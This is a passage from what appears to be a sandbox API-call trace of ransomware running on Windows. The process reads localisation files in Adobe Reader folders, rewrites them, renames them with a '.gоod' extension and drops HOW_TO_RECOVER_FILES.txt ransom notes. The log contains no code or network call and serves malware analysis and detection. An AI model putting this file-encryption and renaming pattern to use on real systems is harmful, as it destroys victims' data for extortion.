lpFileSizeHigh=0x203eb328*=0x0) returned 0x771 [0205.654] ReadFile (in: hFile=0x7f8, lpBuffer=0x352d810, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x352d810*, lpNumberOfBytesRead=0x203eb258*=0x771, lpOverlapped=0x0) returned 1 [0205.657] CloseHandle (hObject=0x7f8) returned 1 [0206.448] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0206.448] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0206.448] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0207.569] GetFileType (hFile=0x838) returned 0x1 [0207.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0207.569] GetFileType (hFile=0x838) returned 0x1 [0207.569] WriteFile (in: hFile=0x838, lpBuffer=0x356e860*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x356e860*, lpNumberOfBytesWritten=0x203eb168*=0x780, lpOverlapped=0x0) returned 1 [0207.768] CloseHandle (hObject=0x838) returned 1 [0209.911] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0209.911] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0209.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0209.911] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x780d4eee, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x780)) returned 1 [0209.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0209.926] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu\\ui-strings.js.gоod")) returned 1 [0209.927] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0209.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0209.927] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0209.927] GetFileType (hFile=0x824) returned 0x1 [0209.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0209.927] GetFileType (hFile=0x824) returned 0x1 [0209.928] WriteFile (in: hFile=0x824, lpBuffer=0x36e3388*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x36e3388*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0209.929] CloseHandle (hObject=0x824) returned 1 [0209.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0209.929] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it", lpFilePart=0x0) returned 0x77 [0209.929] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0209.930] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.930] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x73f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0209.939] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.939] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0209.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0209.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0209.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0209.939] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it", lpFilePart=0x0) returned 0x77 [0209.939] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0209.940] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.940] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x73f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0209.940] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x73f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0209.940] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0209.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0209.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0209.940] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0209.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0209.940] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3514720 | out: lpFileInformation=0x3514720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x73f)) returned 1 [0209.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0209.941] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0209.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0209.941] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0209.941] GetFileType (hFile=0x824) returned 0x1 [0209.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0209.941] GetFileType (hFile=0x824) returned 0x1 [0209.941] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x73f [0209.941] ReadFile (in: hFile=0x824, lpBuffer=0x3515208, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x3515208*, lpNumberOfBytesRead=0x203eb258*=0x73f, lpOverlapped=0x0) returned 1 [0209.943] CloseHandle (hObject=0x824) returned 1 [0209.970] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0209.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0209.970] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0209.971] GetFileType (hFile=0x824) returned 0x1 [0209.972] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0209.972] GetFileType (hFile=0x824) returned 0x1 [0209.972] WriteFile (in: hFile=0x824, lpBuffer=0x358ffa8*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x358ffa8*, lpNumberOfBytesWritten=0x203eb168*=0x740, lpOverlapped=0x0) returned 1 [0210.740] CloseHandle (hObject=0x824) returned 1 [0210.782] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0210.782] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0210.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0210.782] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x79d889cd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x740)) returned 1 [0210.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0210.782] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it\\ui-strings.js.gоod")) returned 1 [0210.783] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0210.783] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0210.783] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0210.784] GetFileType (hFile=0x824) returned 0x1 [0210.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0210.784] GetFileType (hFile=0x824) returned 0x1 [0210.785] WriteFile (in: hFile=0x824, lpBuffer=0x35b65d0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x35b65d0*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0210.786] CloseHandle (hObject=0x824) returned 1 [0210.786] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0210.786] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp", lpFilePart=0x0) returned 0x77 [0210.786] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec85fe0 [0210.786] FindNextFileW (in: hFindFile=0x1ec85fe0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.786] FindNextFileW (in: hFindFile=0x1ec85fe0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0210.787] FindNextFileW (in: hFindFile=0x1ec85fe0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0210.787] FindClose (in: hFindFile=0x1ec85fe0 | out: hFindFile=0x1ec85fe0) returned 1 [0210.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0210.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0210.787] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0210.787] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp", lpFilePart=0x0) returned 0x77 [0210.787] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec862e0 [0210.787] FindNextFileW (in: hFindFile=0x1ec862e0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.787] FindNextFileW (in: hFindFile=0x1ec862e0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7ed, dwReserved0=0x0, dwReserved1=0x0, 